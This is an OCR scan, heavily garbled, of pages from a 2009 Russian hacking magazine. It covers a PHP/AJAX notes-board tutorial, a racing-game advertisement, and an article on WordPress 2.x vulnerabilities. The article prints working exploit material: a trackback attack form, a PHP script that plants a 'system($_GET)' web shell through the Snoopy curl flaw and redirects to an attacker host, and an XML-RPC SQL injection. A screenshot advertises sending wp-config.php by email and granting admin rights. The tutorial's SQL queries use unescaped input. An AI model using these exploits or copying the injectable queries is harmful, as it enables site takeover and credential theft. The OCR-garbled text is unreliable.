coxpaHeHYI~

xpaHV1TCI1 B

~

Ael:1cT8lillil. Ha>KMeM Ha nyCTOM MeCie

n0I18Jl>leTCI1 nycTal13anlilCK;:1. Te~epb BBeAeM

npOrPAMMIi1POBAHIi1E Tenepb Mbl 3HaeM. KaK reHcplilposaTb nepBylO cTpaHlilUY, KaK 06pa6aTbl8aTbAJAX-3anpoCbI OT JavaScript lo1 MO)1(BM HayaTb nOClleAHlill.13Tan

FireBug CBKflaA,<olil Console. 5YAeM npo6oBaTb B

z-index nlilcaTb U8eT. a Bid - Y1AeHTl'l4>ItlK8TOP

3anV1C04Klil. TaK)t(e Me)l(,ll,yTeraMlil <lexlarea> HaAD

BlilAlilM, 'lTO npl.1 y.QafleHlilYl8 aanpoce yKa3blsaeT­

0AHaKO, Bee 3TO He coxpaHSleTCS'l. D.asa~ pa36e­

3anVlC04K>1

HaM HpKHO 83>1 rb lil3 6aabl «3am1COYKItl» A8HHbie

var deleteURL '"

.. /noteboard/

- nporpaMMlilpoBaHVle 8 Ka"eCTBe l'l3blKa 6blfl 8bl6paH PHP_

delete/' ;

Jl1060lil TeKCT Vl BbiCTaB1I1M lJ,SeT. B1I1AYlM, 'lTO 6pay­ 3ep nOCJlaJl3anpoc:

XOTSl3TO HeCKOllbKO Heyp,06Ho, BeAb Hy>KHO

HaM Tpe6yeTCI1 CAeJlaTb 'leTblpe ¢>ai:iJ1a: .htaccess,

HaCTpalilBaTb .htaccess M>I r3KlttX 3anpOC08. n03­

index.php. save_php. detete.php. B .htaccess

TOMyynpOCTli\M 3JlroplilTM. Y13MeHlilB URL H3:

Post

158'14

nponltlWeM npaBlilfl3 nepeH3npaBI1eHlo1R Bcex Hecyw.ecTByfOLl.\lilX KaT3floro8 K index.php (3TO

board: 700128621751072451716255856 var deleteURL = ' .. /de1ete. php?' ;

color: 1

Hy)1(HO, '-lTo6bl nepexBaTlilTb 3anpoCbl Ha aApeea co MHOrlo1Mlt1 L\1tl4>epKaMlill.

id:

C 3Toro epeMeHlil3anpocbl8cerAa 6YAYT 06­

Qlar1Jl .htaccess 6YAeT CJleAYlOlLlL1M:

text: sometext

paw.aTbCI1 Ha epaCiJ1 dete!e.php, a id Jll1CT04K3

x: ~23-1

-nplo1XOAlt1Tb KaK GET-napaMeTp.

RewriteEngine on

y: 54},*

Mbl 3HaeM npoTOKOfl 06M€l-la Me)f(AY cep­

RewriteCond %{REQUEST_FILENAME} !-f

eepoM

RewriteCono %{REQUEST_FILENAME} !-d

~,

~

KM1eHTOM

Itl

y>Ke MO)l(eM

~lanlilC;:lTb

npW-1eM, nepeMeHK<311 board 6epeTcI1 CHa'lana

C4eHapl1lil save,php lt1 delete.php. HO ocra­

Rewt"iteRule '" (.

Hawero 4>ar1J1a defaulLhtm, rac eCTb CTpO'lKa:

Blo1M nporpaMMepcKYIO 4aCTb Ha nOTOM. BeAb

[L,QSA]

*)

S index.php?$l

Y Hac OCTaflaCb ew,€ reHepaL(Vl\1 nepBoi1

var board = '7001286217510724517162

crp3Hlil4b1. To eCTb, KorAB y>Ke CTpaHL<1­

nOAyMaeM HaA np06JleMoi1 XpaHef'llilI1Io1H!j>opMa­

SS85615B74';

48 3arpY3101JlaCb. A8JlbWe BClO pa60TY no

Ulillo1. C03Aa,ll,V1M B MySQL6a3YA8HHbiX COAHO!:1

XAKEP 05/1251 09

~

063


x

XAKEP

>> B::AOM [j] .~AKEP'~ P

file

l:IAA'-:'vt

'l~n"co"K)_I':lOZilia F"~O

x Ii"

c x

I

XA

~

arks Tools Help

~

MOIII

[j]

,.,

iii

'"

p

~

@I httpHz/92095022158324!

~ Disabl~" _~ -"C~o~~es" L:i css· D Forms"

"

8PlA~v1~

[] IIlt'<AKEpx~ [] IIlrxAKEpx~ I

View Hlst . 0 ry Boo m _

. ~dlt

x

3anIllCO~KH

v

x

\

@ In~or~.~tio~ .. tjJ Miscellaneous· pl Outline" : : Resize" ~ Tools

jj Images"

I f71 Mn... 'l"n ......nu .......

I ........

I

;~

x

.. ­

_.........­

x

K

H~--1

x

lJEJ B r

~

Y2l.-\'lli1 ;) XI

«3Am1C04KI1», PA60TAIOUll1E Y MEH5I HA CEPBEPE

___eU_r:L....ULJ ~ ~ Insp~ct Cleaf Profile Console'" HTMl (5S ~-;t---oeM 13 .tj IX~ not defined

I

€)

Net

~hi •. dr.qq&bl~p~ n~~ ~r.gg.bl.(di~

XJL...

Rtfffeo<e

id

, dvd Ha Al-1CKe - Offline

Explorer, Bee Qla~m>l

c Za.,Ql:oiQJ;.bJslru PHP-CKpV1 nTbi )J,1lf1

»> ""'...

Done

FIREFOX nnArl1H FIREBUG B PE>KI1ME CONSOLE!

3MYflSl~l-1l-1 cep8epHO~

npoCTolii Ta6mll.J,e~ \>1 CJ1e,QylOu.(l1M\I1 noMMI1, Bbl6paHHblMI-l

CTOpOHbI.

Hya delete,php 6Y,l\eT He CJ10>KHee:

VlCXOJ],\1lt13 napaMeTpOB3am1COYU1

DELETE FROM z WHERE id=' S id' AND

id -

e

board - bigint, .nIHi XpaHeHI1~ .aOCKM, B KOTOPOtll

color - tinyint, J1J!R xpaHeHM5i

npeA­

<Dai1J1lndex.php. KaK Mbl Y)I(e o6cY>K,D,aJ1l-1. Hy>KeH ,l\J11'! nepea,D.­ pecau,(1l-1103epa no ero KyKVlca M Ha Heo6xo,ll,ViMYIO CTpaHw·IKy.

HdXOD;wrCfI 3anHCOt.rKa

~BeTa

To eCTb, OH 6Y,l\eT «6paTb» l-1,l\€ HH14l'1l Karop I:\OCK(1 id. KOTO­

x - float, .u;n9. xpaHeJ-wI91 X-Koop.o.I1HaTbl

pbli1 XpaH\1TCfl B KyKVlcax, l-1 Bbl6l-1paTb C 6a3bJ ece COOTS€TC­

y -

TBylOl.l.\l-1e 3an V1C04Kl-1, a ,l\anbWe BblBO,D,ll\Tb TOT crai'lJl, '1TO Mbl

float, ,lVl$l XpaHe'HYlR y-:-coOPllI1HaTbl

text - varchar(25S) • .aMI XpaHeHl1fr TeKCTd

n0J1Y'H1J1l-1 aT

Offline Browser, (1

B

HeM Me)l(,D,yTeraMV1

<form>

nOMeU(dTb 3anl-1COYKl-1 B 4lopMaTe, KOTOpbll4 ~tbl onpeAel1l-111 l-1 <Dai111

save.php Q'1eHb npocToi1. OH lllilWbAOJDKeH yMeTb

npl-1HYl­

CTaBfleH3 m'1Wb B

MaTb Post-AaHHble l1 reHepV1poBaTb Janpoc H8 C03AaHl1e HoBolii

03Hat<OMI1TeflbHbIX

3anIllCO'-lKt1:

Bblwe.

BeE Y HAWI'1X HOr

u,eml):. He Hy>KHQ

Ha C03,ll,aH\J1€

INSERT INTO z SET 'board' = $board' .

nOBTopSlTb r.nynOCTVl33 3STOpOM

board"'$board'

J.111eHTI1<pM.KaTopa 38­

,llJI5i xpaHeHt15t

nI1CO'1KM

warning Beq >1H4JopMau,l-1Sl, KOHeYHQ )l(e,

integer,

I

:1.

CalATa

y aSTopa yW€ J l, 3a 'lac.

KdK MI1HI1MyM, Me­

Cl'lLt, d Mbl ero CKOn\.1pOSaJ111

'text'='$tezt', 'x'='$x', 'y'='$y',

V1

'color'='$color'

AJlfl TBop4eCTSd orpOMeH, rnaBHoe He JleHI-1TbOl

TaK(1X Caf1TOB celo14ae 04€ H b

MHoro, TaK YTO npOCTOp

n03BOJllO ee6e HanOMH\1Tb, '-110 BCI'! ItlH¢>opMau,V1l'l

-

l-1Jl\ll3anpOC MI1 06HOBJleHL-t1'l ~e cyw,eCTBYIOLl\el1:

np€ , D,CTaBJ1€ H c

JlV1Wb ,o,Jlfl 03HdKOMneHl-1I'!. ECJlI-1

y Te611

BAPyr B03Hl-1KHYT KoKv,e-HVl5YD,b BonpOCbi. TO MO(1 KO­

~

064

UPDATE z SET' board' =' $board', 'text' ",' $text' ,

Op,o,l-1HdTbl Tbl CMO.>K€ W b

'x' = '$x', 'y' = ' $y', 'color' = ' $celor' WHERE 'id'='$id'

blt o://tutamccorn

Hai1n1 Ha MoeM CaClT€

Bcer.o,& c pa,o,ocTblO OTB€ 4 Y

101 nOt..wry.

X XAKEP 05 /125/ 09


Maxi RaCing - 3TO BV1PTYaflbHbliil

MVlp

rOHoK Ha TBoeM KOMnbKlTepe!

XO'-leWb 06na,o.aTb eaMblM KpyTblM rOHOYHblM dSTOMo6V1neM? 3HaYV1T -

Maxi Racing AJH~ re651 1

B "'rpe y le6fl eGb B03MO;>KH0C1b KynlllTb aBTo, .Qopa60TaTb era no nOflHoiil LiI IlpoAaTb p,opo;:+(e, a Hd Bblp)"-1eHHble ,QeHbrl-1 KynltlTb HoaylO ra'-lKy, e~e KpY'-Ie. Ho caMoe r!1iJBHoe: n06e)l(JJ,aeWb S ltlrpe - no6e)I(,QaeWb B peallbHOen1! Ka)f(,D,bl~ MeOll..\ HOBbie npltl3blJ Tbl MO>KCWb BblV1rpaTb KOMnOHeHTbl Car Audio & Mobile Media OT Alpine, C1paxoBKy POCHO Hd CBoe aBTO A B KOHl..\e roAa ny'-lwlt1ii1 nOIlY'"lli1T peaJlbHbliil aSTOMo6lilflb - Opel Corsa!

Ml;orO'l"'CfleHHble np"'3b1

01 Alpine

MAXI RACING. Lo1rPAli'llo1 Bbllo1rPblBAIi'I! Bee nOAPo6HOCTlIl IIlrpbl Ha calilTe www.maxi路racing.ru III www.maxj路tuning.ru

POCHO B COCTaBe

Allianz @)

msn.ru

msn.


»

,

,

E:=:AOM

Iii

"

" """. HTTP,f/WAP·CHAT.RU/ inco

WORDPRESS

HnH

npOAOn>KAEM XAK ' ' ",.",

II·

"""l'[&II"""'",o.u.o.:o.

PaMKVl npeAblAYllI,eM CTaTbVl He n03BOJlVlJlVl MHe paCCKa3aTb 0 elll,e He­ CKOJlbKVlX VlHTepeCHeMWVlX Heony6JlVlKOBaHHbiX Y5'l3BVlMOCH1X Vl 6aHaJlb­ HblX HeAopa6oTKax WordPress. TaK YTO, CeMyaC Tbl CMO}\{eWb npOYVlTaTb npOAOJl}\{eHVle penetration-TeCTa Vl3BeCTHeMweM 6JlOrOBOM nJlaTcPopMbl. VITa K, n oexaJl VlI

CTAH1CH1KA )J.n51 HdYdfla 51 X04¥ np14SeCT\t1 HeKoTopble craH1C­

1.S.x ­ 207 6nor08 (O.6%)

MO)KHO nOHSHb, "ITO HaYl60.nee nonynApHblMItll'1

TW·1eO(l'1e AaHHbie l-13l-1CCJle.QOBaHIt1R, KOTopoe

2.0.x -1624 6Jlora (4.8%)

npeACTdBfl51IOUJ,l-1Ml-1 AmI Hac

6blflO npOBeAeHO MHOi1 B CepeAl-1He 5lHSap~ cero

2.1.x -1219 6noroB (3.6%)

e€TKaMVl51BflRIOTC512.3.x. 2.5.x, 2,6.x,

roAa.

2.2.x ­

12.4.x

vb

2.3.x ­ 4366 6noros (13%)

AefleHHbJM npV1YV1HJM). BTo::t<.e BpeM51 B 3H1X

2.S.x ­ 4343 6nora (12.9%)

BeTKax Hai1AeHo \t1 ony6n V1 KOBaHO 04eHb Mafloe

2.6.x- 8715 6nor-OB 125.9%)

KOfll'14eCTBQ Y513Bl-1MOcTei1 !HanOMHIO. "ITO

3areM 6b1fll-1 pacnapceHbl B nonblTKe onpeAefll-1Tb

2.7.x-5986 6nor-OB (17.8%)

nOCneAHSl51 sql-l-1HbeKUI-1Sl6blflo B naOfll-1Ke B

VlX aepcl-1lO. BOT 'fTO l-13 310ro nonY'1l-1nOcb·

Unknown - 4899 6noroB (14.6%)

2.2.2 Bepcvnd.

BbI)J.a4111 rop51Yo 1l1061'1Moro BCeMI'\ ryrfla 6blflO

CJlY4ai1HbIM 06pa30M 83lHO 33534 YHIIlKaflbHblx 6nora. pa60TdfOll.\l-1X Ha

~

066

Word Press. KOTOpble

2175 6noros (6.4%)

c T06o~

lIIHTepeC

2.7.x

pa3pa6oTYV1KV1 nponycTl-1flV1 no onpe­

XAKEP os /125! 09


""

.

....." E: :: lo. (I t>-1

slugs) ) add-post_meta($post_id, '_wp_old_slug' , l\ioM .....

$_POST(' wp-old-slug' J ) ;

000.."""'''

.~" 7',.."

""-" ....

.. "

1>'. r.o ....

~.-.

,~

,-,

, -"<'""'•..:

".~

C'r.'I.OI:

"

(>~ ...,

'-~

.

6. V1, co6cTBeHHo. 3ayeM BeCb 3TOT KO.o. HaM 6btJ1

,~

'~':"~:.,:;.'

~---_.­

Hy)KeH, ./wp·includes/query.php:

n ......... "o ...."... "... """""",

........

""'"''

(..l_'"

.......,.".""i-..:'_.._.-'" _ ...JAc_ _ -0_,_'"_.- = ..-. I

e-<_.

... _,s.~...·

~.t

~._"4-e',_11.:

n.~·G.·'M·'.:k~1-:r-4.

".,••,

"

M

.

c~

"',.c;.

"__."".,,

_,~

...... •' "._·w.....",., "'~""","""-;""'''''''''' .... 4.....,_ _ ••"'·.,;.,.,.'v,..;,.. ..... """,,", _",,,,,, on" •" , '..",,, "".l···1 ~

_

..

"y."... J>,'.'"

.. ...........-_._----...... . -. ...

._-_.. _------_ ~.ol;"..,~i'!... i""!~ ..."""'r'-"''b ~

AAMIotHKA WORD PRESS 2.7.1

$query = ~ SELECT post_id FRm.t

,,'SIl ..... , ....

-~--"_

""""-~."

$wpdb->postmeta, Swpdb->posts ~!HERE: TD = post_id AND meta~key = '_wp_old_ slug' AND meta_value=' >query_varS['name']

B nepBoi14acHl CTaTbl<1 >l nOCTapaJlC'll<1Cnpael<1Tb

function wp_insert_

HeJJ,opa3yMeHl-1e. HO, KaK Tbl y;+:.e nOH>lJl, 3TO 6b1Jll1

comment ($commentdata)

$wp~query­

wp_redirect($link, '301');

JJ,alleKO He nOCJleJJ,HItl€ npltlBaTHbte YI13Blt1MOCTItl

II Permanent redirect

Bop.o.npecca.

if ( $comrfient_O-pproved ==

WYTKA IOMOPA

exit;

endif;

1)

wp_update~comment_count

npeJJ,CTaBb, '·ITO Ha Hy)KHOM HaM 6Jlore npltl­

($comment-post_ID) :

cYTCTByeT neCT CaApecoM hllp:ljlamer! wo23312009/03IZQ/hel[0-world. Tbi X04eWb HdCOJlItlTb!nOAU!YTI1Tb HaJJ. a.o.MItlHOM

1-1

return Sid;

1113 aHam'13a BblwenplilBeJJ,eHHOrO KOAa cneAyeT BblBOA: eCJlI1 8 6AAJ1~ OllpeAeJleHHOrO nOCTa

c.o.eJlaTb

TaK, YTo6bl3TOT nOCTIotMe,1 ew,e lt1 aApec BpOJJ,e

h\ IP:lila merlwp233/2009/03/20/1 h IS, IS -<3­

functionwp_update_comment_count ($post_id, $do_deferred=falseJ

npltlcyrcTByeT 3Ha4eHl1e <c_wp_old_slug». TO no HeMy npOBot:\l1TC51 pe,o,ItlpeKTHCl HClCTOSlll.l111i1

<;lIckpr'-po-s1

aApec nona. Yro6bl Ao5aBItlTb 3TO 3HalleHl1e,

Pa3pa6oTYlt1Kl<1 BopAnpecca c paAOCTblO npeJJ,o­ eTa BJ1'lfOTTe6e T3KYfO 303MO;+cHoeTb l Ho 4TO :no:

TBOi1 KOMMeHT3pl1i1 AOIl::t:.eH 6blTb 3aannpyBlleH.

6ar 11m'! q,w·la - ~ He 3HcHO:J

e] sei f ( $post_id ) {

KaK OCT3BMlTb KOMMeHTapVlItl 5e3 npOBepKl1

return wp_update_comment_count_

AJl~ HayaJlC! JJ,eTaJ1bHO pa36epeM c.1<2XJHL13M

CTaTbl<1

nm" ($post_idl ;

nOeTItlHra KOMMeHTapv111 BnOCJle,qHei1 Ha MOMeHT Hanlo1eaHItlSl eTaTb01 eepCc.101

Mo.o.epaTopa, Tbl y>Ke 3HaeWb no nepeoi14acTI1 AMI

J

Tenepb, HaKOHel.\-TO, rOTOBbl~ 3Kcnl1oHr

Hawe~

WYTKI1

2.7.'

1. Q)ai1JlI-1K wp-comments-post ph p

la

Tal()I(e wp-trackback.phpl. Yepe3 KOIOPbl~

functionwp_update_comment_count_

<html>

now ($posC_id)

<formaction="http://lamer.cam/

npoxOJJ,I1T Bce KOMMeHTapl-ll-l l1MeeT 8 ee6e

h~/wp-trackback.php?p""[ID_DOCTAJ"

cneAYIOUJ,l-li1 KOA:

method="post">

Ta~Tll: <input name="title"

do_action ( 'edit_post' , $com.-'lIentdata "" co:npact ( 'comment_ post_ID' , 'cownen~~author',

$post~id,

Spost) ; return true;

'comment_ author_url', 'co:nme:l.t_content' ,

$comnent_id = \"lp_Oel.·ccomment ( $conunentdnta ) ;

Comment:<input name="excerpt"

4.Action edit_post onpe.o.eneH 6./wp-includes! default-filters.php·

2. 3Ty tPyHKl.\lt110 Mbl MO)KeM J1erKOOTbICKaTb B I 5. HaXOJll1M Hy)l(HyfO HaM (j>yHKUl1lO B Jwp­

functionwp_check_for_changed_ slugs ($post_idl {

it ( lisset($_POST['wp-old-slug']) II ]strlell(S_POST['wp-old-slug']l } ~~_insert_co~ent($co~nenldata);

XAKEP 05/125/ 09

I><br/>

<Itarm>

</html>

B nOlle «Slug)} 8CTa6Jl~~ HOBoe l1M~ xOA~w,ero

,qJl~

no,q­

nona 11 nOKa3bl8atil CCl,I!lKY a.o.MIo1HY.

Ha6lllOAa513a ero peaKL\l1etil.

HE6E30nACHblH SNOOPY

$comment_ID =

3. TaM ~e nJ:0BOAl-1M HetOllbwoi1 peaepCl1Hr:

<input name="blo9_name"

value="Blog~

<input type= "submit " value=·ok"l> indudes!post.php:

function Np_neolccoroment

($corrmentdaca)

value=""I><brl>

Slug: <input name="wp-oJd-slug"

value=""I><br/>

add_action ('edit....post', 'wp_check~tor_changed-slugs');

wp- includes!co m m em. php:

URL:<input name="url"

value="ht.tp:II%/la.com"I><br/>

'com~ent_aucho~_email',

'coromer:.t_type', 'cowment.""parent', 'user_ID') :

value"""commenter"I><br/>

HaCTaJlO SpeMs:l CAeJlaTb ell.le O,D.l1l1 peeepaHC B

I I if we haven't added this old slug before, add it now

CTOpOHy npeAblAyw,e~ CTaTbltl, KaK Tbl.

Ha8ep~

i f (lcount($o1d_slugs) II !in_ array ($_POST l 'wp-old-slug' J, $old_

Jl1050My 3aperl-olCTpl1pOBa HHOMY nOJlb30SaTefllO C

Hoe. nOMHl-oIWb, Word Press 2 5.x-2.6.x n03BOn51Jl JlerKOCTblO nOAMeHSlTb RSS-$l1Abl a Dashboard.

~

067


» ·1, I

B:: .'\ 0 t·,·1

I·..../I>O'~~~ ~,H

"'

"

'.

,~

,.

..

~

"'

"".Ql a'~l

~,

"

Uf.Qt

~,

2,6,3

''.. ~

t¥.Q'

2,o-~

~

~.

"

"'

w.~,

2.6.' 2,6.2

t .... m

eY'9'

2.7.1

" APXHB PEm130B BOPAnPECCA

w~

-~

1 says:

April 7, 2009 at 11 :45 pm (Edit)

[ ... ] Ser<l'er: .4pacne/2.2.4 (Win32) mOd_S:SI12\4 OpenSSUO.9.8d PHP/S.2:.4 X-Powered·6y: PHP/S.2.4 popa: 111 location: file:///c:boot.ini Content-length: 0 Connection: close Content-Type: text,lhtmlj [ ...]

,~

m'

PINGBACK-KOMMEHTAPHIii

PaCKonaB 3TOT 33MeY3TeJ1bHbli16ar HeMHoro rny6)t(e, Mbl Cl1erKOCTblO CMQ>t<eM ;J,06V1TbCSI ebInOnHeHl'l51 npQl.13BOnbHOrO KO,Qa Ha cepeepe. r~e

Directory Y: \tmp is not write able!

yCTaHOBneH 6nor. V1TaK, BcnOMHl'lM 06 o6Hapy>t<eHHo~ 3a6yropHblMltl KOAO­ KonaTenSlMIo1 code exec y5!3811MOCnl B Kn3CCe Snoopy. KOTOPblf1 npVlcyrcTsyeT TaK)t(e 14 B BOPAnpecce. C3M3 YS13Blt1MOCTb B BOPAnpeccoBcKOM Snoopy 6blna nponaT4eHa c nOMOlllbKl escapeshellcmd ew,e B 1.5.x seTKe. HO. TeM He MeHee, pa3pa6oT4HKl'l B3S1nl'1 V1 V1CnOpTlt1J1V18n0I1He pa60Tocnoco6Hbl~ KOA HenOrl5!THbiM naTyeM e eepcl4\>12.6.3. ~

Aora,o.bIS3KlCb. yeM oHlt1AYManlt1, CMOTp5! H3 noCT ;J,ee6J1ora CT8Kl'lMl'l

CJ10BaMV1:

A vulnerability in the Snoopy library was announced today. WordPress uses Snoopy to fetch the feeds shovm in the Dashboard. Although this seemt; Lo be a low risk

vulnerability for WordPrcss users, we wanted to get an update out immediately.

URL

~tP:1I Username

~

]

[I

:J

Password

AT3K>Ke npltl cpaBHeHlt11t1 KOAa Snoopy 1013 Word Press <; 2.6.2:

exec (escapeshellcmd ($this->curl-path." -0 \" $headerfile\" " . $crodl i.nc...,params.· \" •. $safer_ URI."\·").$resulls,$return); - CKO,n,OM Snoopy 1013 Word Press

<;

2.6.5:

exec (Sthis->curl_oach." -k -D \" $headerfile\" , . $cmdline-params." \"". cscapeshellcmd{ SURI). "\"" ,$results,$return); BTOPO~ KOA - 3TO o4JLo1u.Lo1anbHbl~ naTY pa3pa6oT4l'lKOB Snoopy. KOTOpbli:1

3a:<pblsaeT npeAbI.QyUJ,ltli:1 code exec (HO He 3aKpbIBaeT HOBblL7II. 3a6aBHo, He

<i Upload file [http:// To Vwp-contentltest. php r Custom command

r Send wp-config.php to email

r Make user admin (need db login data)

IGet it pwned!

npas,o,a 11101? 3a4eM naTYIt1TbTO. '"ITO i'l TaK 6bl110 Hennoxo npOnaT'-leHO? OTBeTbl Ha 3Tltl sonpOCbl Mbl Bp51,o,lll'l y3HaeM. TaKaI' xaflaTHOCTb pa3pa6oT'-llt1K08 OTKpblnil MH€ nyTb K 3aMe4aTenblW~

3KCn110liiT RAZoR'AAl151 SNOOPY

ySl3BltlMOCTL-1. Ho 060 seeM no nop5!AKY 1. Cnoc060M 1013 nepBo~ Y8CTV1 CTaTblo1 pe,n,aKTl'lpyi:1 llt06yKl RSS-JleHry Ha rnaBHO~ CTpaHIt1u,e a,l:\MLo1HKV1. npV14eM aApec CTaBb Ha C80i1 Xl.1TPbl~ CKpl<1nT,

2. TonbKO Ha CLo1CT€MaX, rAe curlyCT2HOBJ1eH D lusrltocal/bin!curl [Hal-16onee

Hanpl<1Mep. hUQ:U1amercorn/code €xec.php;

pacnpoCTpaHeHHa5! CltICTeMa CTaKl-1M KOH¢Jlt1rCM - FreeBSDI. TaK KaK 3TOTC8­

2. CKpl<1nT code-exec php,n,Oll>K€H cO;J,ep)KaTb cl1e,n,YtOLlILo1~ KO.Q:

Mbli1 npeCJ10Byrbli1 nyrb)KecTYU nponV1caH B Iwp-includes/class-snoopy,php, nJlfOC 6V1HapHIt1K Kypl1a np06ep5!eTCIl Ha cyw,ecTBoe3Hltle It1l-1CnOJ1HLo1MOCTb:

<?php header ( 'set-cookie: 'echo \' <?php system ($_GET [aa]); ?>\' > .. /wp-content/test.php';cooka');

if (!$this->curl-path)

return false;

if(function_exists(~is_executable·})

header ( .. LocatiOn: htcps: Ilchto-ugodno. com/?feed=rss2");

if

?>

reLurn false;

(!

is_executable ($thi.s->cur1-Pd-th) )

nOCJle c08epWeHIt1513TIt1X Aei1cTBLo1M Ha Hy)t(Hbli16Jlor 13 !wp-conlenUlest.php

3. 3TO pa60TaeT. nOTOMy ,-/TO Snoopy nOMep>t<t>1B2e T nepea~pecal\Lo1tO [.00 5

3aJlbeTCS1 weJ1Jl, Tenepb pa36epeM. rAe

pa3 no Ae¢oJ1Tyl.

t1

n04eMY 3TO e03MO>KHO:

1. TOflbKO Ha Word Press 2.6.3. 2.6.5 [2.6.4 npoCTO He 6bIJlO. a B2_7 Snoopyyxe

80 BpeMSI Hee OH MO)t((>TycTaHoBI1Tb KyKLo1Cbll'l APyrL-le X3,Qe­

pbl. KOTopble nOlJJileTCepBepHbli1 CKplo1nT. KaK MO>KHO nOHSlTb 1t13 nce6AonaT­

npaKTl'l4eCKlo1 He V1cnoJ1b3yeTcSll COTKpbITOi1 peri'lcTpal\Vlelil. Heo6xOAIt1MO~

43, HaA¢It1J1bTpaL\V1ei1 X3fJ.epOB nplo1 nepe,Qaye VlX B exed!- HV1KTO. KOHe4HO >Ke.

AJJSI pe,o,aKTIo1p08aH1II5! PCC-¢V1,!l.OB;

He 3a,o,YMblB3flC5!.

~

068

XAKEP OS 1125/ 09


»

_,_u _" _ ".

r-·---­

E: 3."'. 0

t·.·1

~WORDPREsS'bac

,_.. ,"_,,4.' "---'--'-'

""""---..... ~.=l ,.,." =::;;::'::::';';:'":~~~-:-~':'..::::::- ....~""'-"-" ...... ~ ..."'-'.........'~........,....",."'..."'-',

i

rI

PINGBACK-OTBET rOBOPHT HAM, 4TO ECTb TAKOL1 <l>AL111 B CHCTEME

~

·se.QlniaJ;om!

SECURITY-THKETbl BOPAnPECCA 3arOJlOBKax. Hanpl'lMCp. Mbl CMO;.(J~M nepe.o.aTb np0L-13BOllbHbll1

HOST cneAYIOUJ,lilM o6paaoM:

e Snoopy. 2. ./wp-includes/post.php function wp_insert_ottachment($object,

Sfile = false, $parent = 0)

<?php

header(·Locat~on:

M~~.!.jr.L~s/n3.61 ­ advisory Ha 3HaMeHa­

TellbHYIO Abi PY

4. 3TO pa60TaeT He TOflbKO B KyKJo1Cax. riO l-l 80 MHorl-1X .o,pyrlllx

KOA B 3arolloBKe

I

links

https://lal'my evil

• (or_e.tC<F.~!Qt:g'pgl!.~; org - I1CTOpltlSl ecex

6aroB BopAnpecca. • wordpress.orgl dovtotQad ~ CKa4aTb

command' . com' ) ;

nOClleAHlO1O sepcl1lO

?>

Word Press.

XIr1TPbllil UPLOAD Ha 04epeAl.1 - 3a MeY2TeflbHaR SQL -VlHbeKL\V1R,

o6Hapy­

$obj ect = Io.--p...,parse_drgs (Sobj ect, $defaults);

• wonjpress.orgl

extracL($objecL, EXTR_SKIP);

develQprnenl/2008/10/

)l<eHH35l TOBapl-1w,eM 3fleKTOM 50JlbWe rOiJ,a Ha3a.o. 80 8CeX

Yt:o.rrl'p~_s.-2_6J -

BOPAnpeCCax sepclt1f12.2.x-2.3.x. An" ee

Aee611ora, nOCBSl­

V1cn0J1b30BaHlt1R

~3epAOm'l(eH 06,l3,qaTb npas3MV1 «upload_files»

ABTopafPe,QClKTopal. PaCCMOTpetM

V1CXOAHblf1

ITo eCTb. POJlb

KO)J, v,HTep¢c\.1­

ca ,Qf!5! YA3neHH0f1 ny6nl-1K311l-1 V1 BWord Press ~ xmlrpc.php

IAa-Aa, V1M€HHO

B

::ITOM ¢aCine 6blno o6Hapy*eHo H81160nbwee ,QBl1%KaL B V1HTep¢e~ce npl1cyrCTeyeT

noCT

l1\eHHbI~ BblXOAY 2.6.3

BepCl'll1 Word Press.

if ($update) {

• wlthdk.com/ac<;biYf_~

Swpdb- >query (

"UPDATE

$~~'Pdb->posts

SET

IL ihol rl_orbit raC'L

post_author = '$post_author',

Ide_9<;:_cess.{Ldf ­

post_date = • Spost_date' ,

Yfl3BI1MOCTb

OTCblfl KOCi KepYHKlJ,I1V1 mw~r,ewMediaObiect. nposej\€ M He­

post_date_gmt = '$post_c1ate_gmt·,

pe,Ql1peKTa BcurL

60JlbllJoCi peaepCI1Hr·

post_content = '$post_content',

YV1CJlO SQL-V1HbeKlJ)1i:i

MeTOA metaWeblog.newMediaObject.I=lBJl}lIOW,I1~cs:t

npSlMoCi

post_content_filtered : 1. ./xmLrpc.php

'Spost_content_filtered' ,

functionmw_newMediaObject($args)

post_title = 'Spost_title', post_excerpt = 'Spost_excerpt' , post_status = '$post_status', post_lype = . $post_type' ,

Sblog_ID = (int) $args(OJ;

comment_status = 'Scomment_status',

Suser_login = $wpdb->escape($args[ll);

ping_status = '$ping_statlls' ,

Suser-pass = Swpdb->escape{$args(2));

post-.-.passworC! = '$post....,password'

Saaed = Sargs(3];

post_name = • $post_name' to---.ping = '$to-Ping', pinged = '$pinged', post~modified =

Sname = sanit':'ze_file-llame{ $data!'name') );

Stype = Sddti'l (' :ype'

J ;

Sbits = SdaLa('bits'];

.

,-----------'

, " . current_t ime ( 'mysql ' ) .

post modified_gmt ;::

'" . current_time ('mysql' ,1) ."' , post--parent = '$post.....parent',

i>

menu_order = '$menu_order',

info

posl_mime_type '" '$post_mime_type' ,

• CnacI160 RazOr 3a j.lanl.1caj.llAe code

'post_title' => Sname,

quid = 'Sguid'

exec 3KCnJlO~Ta j\Jlfl

'post_content' => ' , ,

INHERE

SatLachment = array (

ID = $post_ID") ;

Word Press 2.6.x. a TaK­

'post_Lype' ,,> 'attachment',

)l(e Elekt 3a npe,QocraB­

'post.,.parent' => Spost_id,

JleHHble Yl'I3elAMOcTIo1.

'post~rnime_type'

=> $type,

'guid' => $upload[ 'ur]'

)

,

npOCflej\I1B 8eCb nyrb nepeMeHHO~ $type. Tbi n0l4MeWb, ~TO HI1I<TO He n03a6OTi'lflCS'I 0 ee ¢ll1flbTpaLJ;1111 nepe,Q eCT3sKOc:t e

:I. n03TOlvlY Mbl llerKO CMO)l(eM npOltlH.>KeKTI1Tb

II Save the data

SQL-3anpoc

Sid = \"'P_insert_altachmenl. ( $attachment,

UPDATE-3anpoc, Hanpl1Mep, nocnas TaKoi1 POST-naKeT K

$UplOdd l 'file'

J, $post_id ) ;

xmLrpc.php:

<?xml version=Wl.OW encoding="UTF-7­

"?><methodCall>

<methodName>~lP.uploadFile</rnethodName>

XAKEP 05/12S/ 09

~

069


»

j

I:

B::.o\OM

: ij:1 I

I

,.,

. t

_. ..

_"="

"OK

r =U

_nn

••

'"

•. - .

-'1

'w::' ,

,

!. i

A new \/ersion of Won::lf'ress is ol.'Jol.,l"ble" P1eMe LlP._~~!.!!~

I'

I

!I.

,

.

1/

xxx.gif [view I links I ~ncel ]

128

URL

[='':dCm7m-,C271023~2C1'2::C:9=-?a~7·a5a743894a0e4a801~3

Tille 'XX)<:~.

. __

:.:z'~

,7.:_:~

.....

]

/~----~ Save »1

Oescrlpt:ion --_.

-~

Delete Filel

